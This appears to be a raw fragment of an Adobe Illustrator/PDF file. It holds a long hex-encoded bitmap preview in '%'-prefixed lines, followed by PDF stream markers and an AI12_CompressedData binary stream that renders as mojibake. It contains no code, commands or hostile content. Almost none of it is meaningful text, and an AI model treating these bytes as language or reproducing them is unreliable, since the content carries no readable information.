%5258FFFFFF585251585258515852522D5851522D585258515852585258A8
%FD60FF7D512DA8FFA852582D522D522D522D5258A8A7A87D522D522D522D
%5251582D7DFD60FF7D2D587D582D5852585258525852587DFF7C5151FFFF
%A7515852585258525858FD5FFFAE2D522D522D522D5851522D58515251FF
%A726202651FFFF832D522D582D585258A8FD5EFF58525258515852585158
%5258515852527DA82626207CFFFFFF5852585158525852FD5EFF7D512D52
%2D522D522D522D522D522D522D52527C517CA8FFFFA82D522D522D522D52
%7DFD5CFFAE5851585258525852585258525852585258525852A8FFFFA87D
%2D58525852582D522DA8FD5BFFA8582D522D5851522D5851522D5851522D
%5851522D522D5858582D522D58515252A8A8837CFD5BFF7D2D5852585158
%5258515852585158525851585258515851522D585258515852A8FD04FFA8
%FD58FFA8582D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D58FD05FFCFFD57FF83585158525852585258525852585258
%52585258525852585258525852585258525852FD5CFF58522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D527DFD
%46FFA8A883837D837D7D7D837DA783A8A8FFFFFFAE835152525851585258
%515852585158525851585258515852585158525851585258515852585158
%A7FFFFFFA8FD3EFF838352522D522D512D522D512D522D522D5251585258
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%525851522D522D522D587C7D58FD3CFFA87D52582D525158525852585258
%525852585258525851585258525852585258525852585258525852585258
%525852585258525852585258587C527D5258527D525252FD3AFFA87D5152
%2D522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D522D525158
%52522D5258A8FD38FFA858582D5251585258515852585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%52585158525851585258515852582D522D7DA8FD38FF7D582D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D51
%52A8FD38FFA8525252585258525852585258525852585258525852585258
%525852585258525852585258525852585258525852585258525852585258
%525852585258525852585258525883FD38FFA87C2D522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D5258FD
%38FF7D522D58525851585258515852585158525851585258515852585158
%525851585258515852585158525851585258515852585158525851585258
%5158525851585258515852582DA8FD36FFA852522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%A8FD35FFA82D585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852FD35FF832D522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D582D58FD34FF832D58525851585258515852585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%5258515852585158525851585258515852585158525851587CFD33FF832D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D7DFD32FFA82D58525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525283FD31FFA82D5251522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522DA8FD31
%FF5252515852585158525851585258515852585158525851585258515852
%585158525851585258515852585158525851585258515852585158525851
%58525851585258515852585158525851585258A8FD30FF58522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D5258FD30FFA75852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%5852582DA8FD2FFFA8522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D58A8FD
%2FFF832D5851585258515852585158525851585258515852585158525851
%585258515852585158525851585258515852585158525851585258515852
%5851585258515852585158525851585258515852527DFD2FFFA82D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522DAEFD2FFF5858525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852582DA7FD2FFFA8522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D58AEFD2FFF7D5158515852585158525851585258515852585158525851
%585258515852585158525851585258515852585158525851585258515852
%58515852585158525851585258515852585158525851585252A7FD2FFFA8
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D5258FD30FF5858525852585258
%525852585258525852585258525852585258525852585258525852585258
%525852585258525852585258525852585258525852585258525852585258
%5258525852585258525852FD30FFA8522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522DA8FD30FF832D585158525851585258515852585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%5258515852585158525851585258515852585158525851582D7DFD31FF51
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D58A8FD30FFA85852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585158A8FD31FF7D2D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585151
%7DFD32FF5252515852585158525851585258515852585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%525851585258515852585158525851585258515258FD32FF7D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522DFD33FF83515852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%58525852585258525852585258525852585258525852585258525852582D
%AEFD33FF515251522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D582D83FD25FFA8AEA8A883A8A8
%AEFD06FFA852515852585158525851585258515852585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%5258515852585158525851585258515852582D7DFD23FFA88352522D522D
%2D2D522D5858A8FFFFFF832D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D52A8FD22FF7C
%582D52515852585258525851582D7CA8FF58585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%52A8FD20FFA8832D522D5851522D5851522D5851522D522D527D582D522D
%5851522D5851522D5851522D5851522D5851522D5851522D5851522D5851
%522D5851522D5851522D5851522D5851522D5851522D5851522D5851522D
%5851522D5851522D527DFD20FFA8582D5852585158525851585258515852
%585158525251585258515852585158525851585258515852585158525851
%585258515852585158525851585258515852585158525851585258515852
%585158525851585258515852585158525258FD20FF7D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D5252FD20FF83
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%5852582DA8FD1FFFA8522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5283FD1EFFA85851585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%525851585258515852585158525851585258515852585158525851585258
%51585258515852582D5852585158525851585258515852582DA8FD1EFF7D
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D5283FD1DFFA82D585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%A8A858525852585258525852585258525851FD1EFF52522D5851522D5851
%522D5851522D5851522D5851522D5851522D5851522D5851522D5851522D
%5851522D5851522D5851522D5851522D5851522D5851522D5851522D5851
%522D5851522D582D527DFFFFFF525251522D5851522D5851522D582D52A8
%FD1CFFA85252585158525851585258515852585158525851585258515852
%585158525851585258515852585158525851585258515852585158525851
%585258515852585158525851585258515852582D7DA8FD04FFA82D585258
%5158525851585258515852AEFD1CFF7D2D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D58A8FD05FFA8582D522D522D522D522D522D522D52A8FD1CFF52585258
%525852585258525852585258525852585258525852585258525852585258
%525852585258525852585258525852585258525852585258525852585258
%52585258525852585258525852FD07FF7D52525852585258525852585258
%52AEFD1BFF83522D5851522D5851522D5851522D5851522D5851522D5851
%522D5851522D5851522D5851522D5851522D5851522D5851522D5851522D
%5851522D5851522D5851522D5851522D5851522D582D58AEFD07FF2D5251
%522D5851522D5851522D52A8FD1BFF832D58515852585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%525851585258515852585158525851585258515852585158525851585258
%51527DFD08FF7D2D58525851585258515852582DAEFD1BFF52522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522DA8FD08FFA8522D522D522D522D522D522D527D
%FD1BFF585258525852585258525852585258525852585258525852585258
%525852585258525852585258525852585258525852585258525852585258
%5258525852585258525852585258525852582D7DFD0AFF58585258525852
%58525852582DA8FD1BFF2D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D582D52A8FD0AFF
%A82D5851522D5851522D582D527DFD1BFF58515852585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%525851585258515852585158525851585258515852585158525851585258
%5158A8FD0CFF582D5852585158525851582DA8FD1BFF2D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522DA7A8FD0BFF7D512D522D522D522D522D527DFD1BFF5852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%5852585258525852585258525851587DAEFD09FFAE2D5852585258525852
%585183FD1BFF52522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D582D522D7DFD09FF58
%2D5851522D5851522D5258FD1BFF7D525851585258515852585158525851
%585258515852585158525851585258515852585158525851585258515852
%585158525851585258515852585158525851585258515852585158525851
%5852582DA7FD08FF7D5251585258515852582D7CFD1BFF58522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522DA8FD07FFA82D522D522D522D522D522D
%FD1BFFA82D58525852585258525852585258525852585258525852585258
%525852585258525852585258525852585258525852585258525852585258
%52585258525852585258525852585258525852585258525258FD07FFA858
%52585258525852585258A8FD1AFFA7522D522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D522D522D7DAEFD07FF2D522D5851522D5851522DA8FD1BFF5258525851
%58525851585258515852585158525851585258515852582D52527D515852
%585158525851585258515852585158525851585258515852585158525851
%58525851585258515858837DA8A8FD09FFA858525851585258515852527D
%FD1BFF7D2D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D527DFFA8522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D7DA8FD0CFFCF2D522D522D522D
%522D522D58A8FD1AFF7D5252585258525852585258525852585258525852
%585258525852527DFFFFFF52585258525852585258525852585258525852
%585258525852585258525852585258525852585258525851587DFD0CFF58
%525852585258525852582D7CA8FD19FFAE2D5251522D5851522D5851522D
%5851522D5851522D5851522D582D83FFFFFF7D2D5251522D5851522D5851
%522D5851522D5851522D5851522D5851522D5851522D5851522D5851522D
%582D5158FD0BFF525251522D5851522D5851522D527DFD19FF7D2D585258
%515852585158525851585258515852585158525851527DFD04FF7D2D5251
%585158525851585258515852585158525851585258515852585158525851
%585258515852585158525258FD0AFF7D2D585258515852582D5852582D58
%AEFD18FF83512D522D522D522D522D522D522D522D522D522D522D522D52
%2D58FD05FFA87D582D512D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D2D52FD09FF7D512D522D52
%2D522D7C52522D522DA8FD19FF5258525852585258525852585258525852
%58525852585258525851AEFD07FFAE7D7D52522D58525852585258525852
%585258525851588383587D52582D5851522D5851522D585158527DA8FD09
%FF525852585258525852FFA87D2D58A8FD19FF832D5851522D5851522D58
%51522D5851522D5851522D5851522D5258FD0BFFA87D585851522D522D52
%2D522D522D582D2D7DFFFFFFCFFFA8A87D837D7D587D587D7DA8A8FD0CFF
%A82D5251522D58515252FFFFCFA8FD1BFF582D5852585158525851585258
%51585258515852585158525851527DFD0FFFA8A87D837C7D525852522D58
%7DFD20FF7D2D5852585158525252FD1EFF7D512D522D522D522D522D522D
%522D522D522D522D522D522D522D527DFD15FFA8FFA8AEA8FD22FF7D2D52
%2D522D522D2D7DFD1EFF5258525852585258525852585258525852585258
%525852585258525252A8FD3BFF7D2D527DFF837D52A8FD1EFF832D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5858A8A8FD
%38FF7D277DFD04FFA8FD1FFF582D58525851585258515852585158525851
%58525851585258515852582D522D52527D7D8383AEA8FD32FFA87DFD24FF
%A8522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D525258527D7D837DA8A8AEA8FFCFFD4CFF83585258
%525852585258525852585258525852585258525852585258525852585258
%5258525852582D5851522D5851525158527D587D7D837DA883A8A8FFA8FF
%A8FD40FF7D522D522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D522D522D522D52
%2D522D522D5251525258527C527D7C7D7D837DA87DFD04A8FFA8CFA8FFA8
%FFA8FD28FF83582D58515852585158525851585258515852585158525851
%585258515852585158525851585258515852585158525851585258515852
%5851585258515852522D5851522D522D522D5251522D5851522D58525852
%58587C527D587D58FD047D837D7D7DA8A8FD1AFFA8582D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D2D272D2D52527D7DA8
%A8FD1DFFA752525258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%58525852585258525852585258525852585258525852585258525852522D
%5252585883A8CFCFFD24FF7D582D522D5851522D5851522D5851522D5851
%522D5851522D5851522D5851522D5851522D5851522D5851522D5851522D
%5851522D5851522D5851522D5851522D5851522D5851522D522D522D522D
%522D58587D7DAEA8FD2AFFA8A858522D5852585158525851585258515852
%585158525851585258515852585158525851585258515852585158525851
%585258515852585158525851585258515852522D522D522D58587D7DA8A8
%FD34FFA87D52522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D512D525258588383A8A8FD3CFFA8A87D7C52522D585158515852
%585258525852585258525852585258525852585258525852585258525851
%5852582D582D522D585258527D7DA883AEA8FD46FFAEFFA8837C7D52522D
%522D512D522D522D522D522D522D522D522D522D522D522D522D512D522D
%525158527D58837DA8A8FFA8FD54FFAEAEA8A88383FD047D587D587D587D
%587D587D58FD047D837DA883A8A8FFA8FDBFFFFF
%%EndData
endstream␍endobj␍19 0 obj␍<</Length 22912>>stream
%AI12_CompressedDataxœí½g›êº0z?ïçá?ÀT ¤�é´é½W&@f`␍&À*çÃýíW¶ÓIÖûÎ9w¯µ7 Û²eI–dÉ^Ž�_¥w[rCJs�ü³¼\V$q$+Å(~=èvÇÑ‚Å/Q&GѨÔî�PWKÞJʰ#÷‹øÅ¡·5T?^»ã^"O G×�QW‚‡'rÿC–£\tØ“åQ;ú¡HRŸþüHèÀ¡±Š8‚ÂL†Í°4ÃE³E6=?Á%ÄþOq8ìü½Ïq†W’ÇýV§ÿQ’£lž�r9!Êqù(ÏfÑûýÎ¥4´¢žcPIª�Pñ•çXê WU¬ÈÍqOê�ι)␍‡e¹++Ãb´üGìGOÄx#F¤nWþ-uÅæ'ÔÙ=ÈÖk�®8艣(Ãb„í0l½4ît[§ã^Côä
~ÎÕq«7ChZFßñó|ý �®¤Ñ:␍@1Þ/÷Jæ¾ÀSü7þt)}tð<ö^ZËŠ<è‰Êç␍˜£²0Z}ryøäY�ʪ¯¥Þ  8Ǹáè,*TÈ¡Oã»VƆ‹Át³…‚M3¹h¶ÀSyšf£]P˨“~v¤_Åè©Ü—Tüì*£+2ƒ<OÓäS}u9îJÊM¿3B}ÆÏ
A'rKêB␍£‰ZWÄxÁãS-q-*Ò&^îŽG˜@
L±øGBsɨ@ÎRÿZ¾Å]M³B6*ð,´Ç0B!*ä¹(›Ãø<Êé@ãSmµƒZÑÚÏ£i;‡™<S:�~Që`¾¾§tZÆôæyä‚Lÿ´ÿÕ¾ÂÈG#©¯uH«|b"š:¹BP«ýVYî¡Ib.éõtåõ­ñ¿ƒ&ÆuøAæì\éôQÑNÉ;¡~ÞÃË=EúïräŸ8‘Ð-EŠ’·À÷ø'üûŽþ¥ÄÎ áS¿"½Ó␍�§ÕþO©+L␍ëOÄ~+z'*ƒ �Ÿwž¨Dñ ½íãÎOx#Â�Ö�g�š…IHÍ®„ËØ@x0½
êŠÊ
ðM+zÖø?  ,#¢×ŠØ„)B¿␍qMI¿%ßÞ‹ ‚K]©ßê&?mø ƒôòêO¯!w;Þޠù‰þ=n•+ý³>é¦2¶£×²Ü5pK
¨¯ ºQF¤Î·¢v/¿oã°ˆw;Š8hwšNí;¼×¹Ô␍DEMŒu'ˆÖW:°Éß ŽFDÕVXÓERx–¹ú%Žšm�X␍ET:’/¢é}ïô[ÐÑ«qg$ó%÷HŠ^µÅzŒJÖL%�v³uX"ÌK@:í»8È;´À�þt%Xw2G}ùWÿŠ¡gO åÅqwô’ˆfNÅžMA™«è’^ˆŽž¡c‘e¢÷"zr T>K³°FR¹<(nþB³,‹ÖGšÉñjµû]T�Ñ~ýA¿áÛxö+ÊÐÑ“èÓ mEà%4‹a´ +d5X�üÍ@OÑ<,@…iPþØ9»° Kdç�àý¶«r÷ÿA˜³ëxçMø¿dôF‡n’Ž¡QËÄL™™’&š¼$²5õÿhÏ¡1ûS7j§5µ, ˆåzF{€èýì4zDå�úàþäøTG—×ëÑøï^·ÒÀ}J§1I°¦pá]Eƒ53'(¦rÍ6Ø
ŠÔWK±ÑÌŒQ�>Fã×ñž4[€¸
´ç&¼¾@ýk•Ÿ`’éu:-ïÂ}àNµ,t •NÍeÿ+˜�p¥õ^òxï¦Jßý³ã—óÁoi¸™áÏ�$”�ìÅ‘ô!ÚÃv¬ÚúÇx÷Ï€¥'­fñ;BL{ê¿�ôۣѠ˜É ÆJ—’•�L« ÿõ:¨`¥Óíbë$$ƒ(`°�•¦OµI1ê…b“¿<ñ¤Â\§ý»Œ 9ôÂíoö©Ù,ÞÉÊçwê¢ËËJí�ïWúÃúOQ®»ˆW Ћa9¬•œç*÷U}¹/ÁRWn~J­@hÒŠþŸ‘~lt°S� 2H ™+itŠG` æâÿ7TŸ¿)`l±Ñ•qÆÿ¨P(þ .PÙïAðhœÍñp$÷¾�øû«$ZŠÈ+ƒ,màÃà”ú‚o Cß­?ÿ[¬<|ÿõ␍èû¿@’»�æÿŽ×÷Å3—’Øõš÷`sþM¤¶ºËŸ÷ÖŸ@ÃúóM†•ÍRŒ@û�ª-u>Ú�¦^ô[Œ/ÇRY¡ÀùŽïW§5jžZò[Œ˜¬$Ë^ãjÈ#Ð3Ž¥÷ 4ÄÉJßF¥À²ò
»ip4Î÷Ð)`©ûýÐ|øóó`fîÓbKÝ^ Dz¦Ò¤úÓ‰ÔêŒ{Q#
çert» Õ·qpJT�p‘”è¹"␍¥QÔdNp*—Ó$Ä@li–1­qWO~Ú9n8�Görb·£ñC^ãÜÖ C©ÏxõQSî*ƈw¢»ã‘½‡# ÅfØ[Ý=(Dâ2ìôÆ]¼wg£TDTF␍YTZÑ&ŠuÒ
 ø6½�†!weÀŠ“À;Ó }îÔÆÝ®VC�Ѓ·Z␍␍F£?$ 55pu»‡ƒÇJòïû­MѤŠöÅVE=™+Ðj×QC»Š$îâH'-Ï>¡(D� ƒ™$%èjÊùî¥}ІZ#꾦©žÀd T6ªþƒÛ8—;ýfŠ8A³ÈNm$•ÎpÐÿœˆŠFQ$”Ž„Õí\JÝkù’4AÚ<—‡4DüšÕ•-N‹Ã ^™™`~mœ£ÚÊ™ÍrYWúŠ2QEw!eYè�{Q6Ú0ä�oYδa6úkb-�šÄ‰v@ˆ# •°GJ£‡,­ j÷D¶ufÅÌh’MÞ>ûróS�`Œ8"ƒÌ?miþl<@ ¾ˆ1c‘5)b8AÀ7ÿ@¡N+:4Äcé6›ÊO)z-ýá�±ÑévFl$í$|�ÅþÇÅ•�Ëc¤l>—W+™×PcýéŒ{¦NÓ^KÆ´›1áXöÒ SÑŽÏbÓ�& bpŽÉ90¸c(>P*KÝnõ÷ÈXÁø¬'Ԛؔvû]É·8ÒÇ&J ®cB²ˆÎHì7␍¹UÀÃây&À°®F¢.5¬␍ä �0ðr-𠨣™VM--åò¸%Ò` –nÅ~gØä˜Ûɲ!&M†ó|»®±&ô[Òï+©)÷[!+Õ:Êpº™Ð;<ÓDè­LÎC>Ï„˜Ô�ã4dÝ)Ï�×…
yÞ͵®,+féã%ªpa“ò-Dá‚V ÄæXÆ­Ãhtæþ‚�+0eMÝuï6ø,]ðéîûûPÒÐ˸Ê-Ä!e°Õ´’œk«¨¤I+eÝ»º�¢˜åþ¾ÙÕ`^½èè»®þ´uLþ))¦)é mZÃÌU¼ú¦âpéhCìš$¨˜f·3€åù»ƒ®ñrsh Ñ±
¨ÝN_ŠGŠü)-M¢R&ŠæLEÅþ¨kDÔGeü…}SìJ>ò¥U˜^Š3ˆžu)umòƒöëh¨„ežý
ß™4t4�Õô+¯UABfÕO “µ£XòTG°D¼í ;D?B«¦"1¤)êéعš&À|;0W€Œ‡wíN³}®Èï�®t$ý1?á.Ké«q¸º&›\¢ÕߨA;5^í5¤ÖdãaZÊ¢Èa`ơŀu(w^©¡¢Ý¢p®£þ6e¥%µÌøhæTYßkâ¨\Wì<OïÅ�ÃÓó�wGþB–:b¬]ÄX&ûÀTˆE…ÎTF½rekK±kƒŸ␍{^-b—XÖUϯ{d5?P)oXj;° èÍÞÀ̹A�␍Ò�$I{) Jìv}Š␍?;ƒ¼f.,?Ñ Ø`Ý|ØYÈ^N‘` C ␍D ØGͼÒ0ã²i¯ªU1÷h]·¬P€ø¡Ü@¡öQ„e›¨"¬ö¡u‡)…WhIú…¶¢ÕÀhkvL fnq*±+ü�øÝ$�yã␍ŽÞ¾vð9Ã;ä¸:’»;JmïXnŠNF1É´U<†Þi¾ˆƒÊ$¢}ÙXÆ£�>^p‘oC_Iœý…&G!f,/çà?—ÑÊ^VWöKËÊžÏÚ8–à7C­¢%«æ`v$�â{ŠØê ³å¡Ï‚ÝÔ·øH­cÄÊ(-ÕÂÖùD-ÆUX¥’?¾Hm/„™‘@J{ba¢gøµ¢Œ�3R-Ò¦xƒ�B‘`Y‚
µˆQÓ YŠÕúh/jÞbÀ.Ü
Z¶Úâ鯨Š6þD+
( Š·”B␍˜œï´�¦½;î¥,}qÂ.…ýOÁ¥¨µ“MvªÕ=;§´Ph1å=µ�#dRŽìņHMÖ[ó-øÓ«û¸Ô ÛüãA;¤P³?ôÄ-�®d^/&©ð£÷I␍‘8÷+ÔèJ’Ý51Q¨ ê¶G¿ßû#ªÕµÎŽc¡!(œºmèlHuaÉöR H£ƒØÖ«ÏCª/}ˆ¦␍—RMXºpÌ¥W¡.ÓÄê¤À±¶EÐ3$Ãs.†l·>¨Æv‘j.ö{@M˜¢N…�%êÑ{(!š²_‰¡p‰ÖØ{ñàm¨ïÃÚ 9VÆýf0a�‹‹ý¾¾)ç¬'âb¾âºÙ3K•ø␍uEE郎Q ²´¢Ïñ«»³óçDô'ëÝ)hg@,#›6f+ºŒ4ijÚÐ%ÈôÚxúÕU¤:RB£)ÖMrÈ
ZOmºšcÉw ­¶¬üG[Å\Š␍Ôí&_‘ ý슃²Y-è%M±P’ú(–®ŒhˆÃÔ`𤠕`mR³Hw(6ëÈØ¨,,üHñ²­¢ÎÝG6LŒ¿rŠ)�ÓWN£-¡†¨ ½�lˆ}ùýäíû(xé‘<^X±j ~ÅI(Šærr-��(±õ<@i£ç
›{ ¸¥çŽ‹–e ã¡T‘›%ôÓ‹»Éª:PÞå¾§Àë˜ÝÛâRÔyÛòÃÑ.B_Q& �¬KÑ�‰¢.U¹6štM8$ÞRï6‘TœpŠ8/2V‘á¸@“ÅH5�†C�nb‘OüÍÍÞŸO/qj””GmÝ&·d·{­-r·+akÅjºNÀŽºší�—’7TO­`ZªƒT´ÐêÙíï×  ÀFuˆ¼6ªïfáÄO³Hð-k„¬�s·»Ha³@8ίm‹@ð°¶d󶊇½e/çèÁjIÃÎGß¼N8é º¯«¡ÆÔy¶‰KšÕÏ‚â°ÑõD/�•%…&d†Õe¶«Õ1;ÍÌÞάˆpÞù-uÏ%å]š,9±õÑ–íwÌ–ŠÖâ•øS:í ºÒ®Í È¸6×wô+ãã3·â„¯ú̈÷}dˆ-?ŸDüÉt`OtÙá(ÈòÏ+5r€VEþÕ'®–uÒ]jã¤Þ݆¬[b9¿º¦�ƒ£N¿å!Vܪ]ŒEÓV‚÷`÷ñÏÔcµVžªWŸQU÷.{T<‘ûr³­È=É€l“órîUyb̼'ÂPcæAwžcGMK«Lv kPxó—¬|û¨®K¾z¦kÕK?½Ðµæµ¾Ú„· µFUÇ,ڮĎYG»8%‚G™™¼¯ö‚DÁ9:1Âí´ûU÷ØtPÛyÿ݋Ѵ˜¸Ý¦"7Ä9¡Ï»Kêáõò ßY�#ªºO¯ŸVQcHñ␍U�L0¼&GO"àˆ2,õ}”-Ÿ¦¦iÒÂŽ�ƒ4ÖyïxîÀÙ‘nZèP4"À*‹“ØÑgÏɃh¬ “›Ê.b␍wúf(a½ãÚìYõàˆ¬Ä‘tÝ÷}±ÓõR¥t¸“(^/èºæ(åÙ¬ï2ŠNÞ¼²Ä{\Ƭ9è¸s¨^ˆ¾i @ŒÀïµÒé¡xë sq)}-ŠZ²¸UÜ)Äo·ŽAìØäB½0mºº9˜ìc¼“üÜ+Z␍ìi8öñóX
_†júÚÛ)d)[òs•X;Ýéz—åQYÍ›¢õÔ�Œ ó +z´D'+ε)öÚ»–g,—KŸP1¯Åâj$ö[`Ø(Z‘† xÕ¨àðk‰©úÌkH¸ÊêÉwN½·´â0Wƒ�áG¾nÃEgÓŽÚRTu[DUKmýÕ–úÑ¡øAû毣h¹ŒŠCôX=£±RÓ3¨(,1¨Iø´6öGG  EA±’Èb‡A“æ>ÄNE?˜¥¢L¯ÚÂ�ŽdÔDSŠvp¨„íŠPöŒ fŽ(mÃq³�ºwЯ`O�Ñ �ÖÆCïäw|g÷?Ñ™ŒTàYo*��Õ¬‡Dc-ëÖ¨þrÒÌ5¢h;¿19Ømêk/#ÿ`î3?BæóîUùà@ÈV$ÔeÜrr+û–Onß62t&y’Nn·GúÆòENq¡Ã/Ö¹íëQ©ò^ØûÜ_¼Ü+ïôÖþ–Mn^æÚ±·¿KgV/L,¹õ¹Kœ>b©vÞ½½S±ä¸xK�ÜWbiú„¥3›q ?+'.ø!;<�ÞU>ùí³·-®$pBî1×{ÜH¿ÕäüG·Œ·ô~]*EÙÚl즧‡;G…á–°¿qGÕäGþ¶ª<?Ò•ÇÚÃumsw³É¬íæû*n)ÜàÒÈø…�¥n_bi!-Ä’Mê
�K@Ϫ±T½•�%:ŸÝXbTê Á%̃ãS—è[ zò¼‹²UØ_úa ÀàQ␍c/«vuk¡b+Ee†Â»½¸ÿ
?÷ºtkå¡¢␍äx¨(ëÃ[å¹+ÑþŠàÕ@Ô\¾çv.âq¦µÂ`dœ“§¼”×v(îX'·öb+Æd`¨¼|yÕwƒúª¼ÔÛW6¨úh„½Í·ì×Ú€v„úš{<wƒº¿Ømd�¡nÄž†‹·çŒãp/6W·Šå§C'¨Éõ&¿á5·¸xûxšµAÅ`0`þá‘®•rgŽPj?„¥>·~î•®½7÷]¡®°üC•°§Ãpù‡½·§<8�µöuÖ¯h^yyb^W{Eêùê*†JÀ¨SË)·™6†
”Ù¨Z§öIy©Üž#¨‰I‚â_øu“v†:Ø?06ÀÔÜ)½¾èµ©¼
